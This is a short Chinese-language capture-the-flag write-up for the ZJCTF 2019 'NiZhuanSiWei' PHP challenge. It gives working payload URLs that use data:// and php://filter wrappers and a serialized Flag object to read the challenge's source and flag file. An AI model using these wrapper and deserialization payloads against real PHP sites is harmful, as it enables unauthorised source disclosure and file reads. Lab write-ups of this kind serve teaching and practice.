[ZJCTF 2019]NiZhuanSiWei

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来[ZJCTF 2019]NiZhuanSiWei_第1张图片

php伪协议写入内容

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter,data:写入内容为welcome to the zjctf,&加入php伪协议来读取useless.php

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php[ZJCTF 2019]NiZhuanSiWei_第2张图片

[ZJCTF 2019]NiZhuanSiWei_第3张图片

给file变量在赋值读取flag.php

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将前面的伪协议去掉,最终的poc是:

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

你可能感兴趣的:(android,studio,android,ide)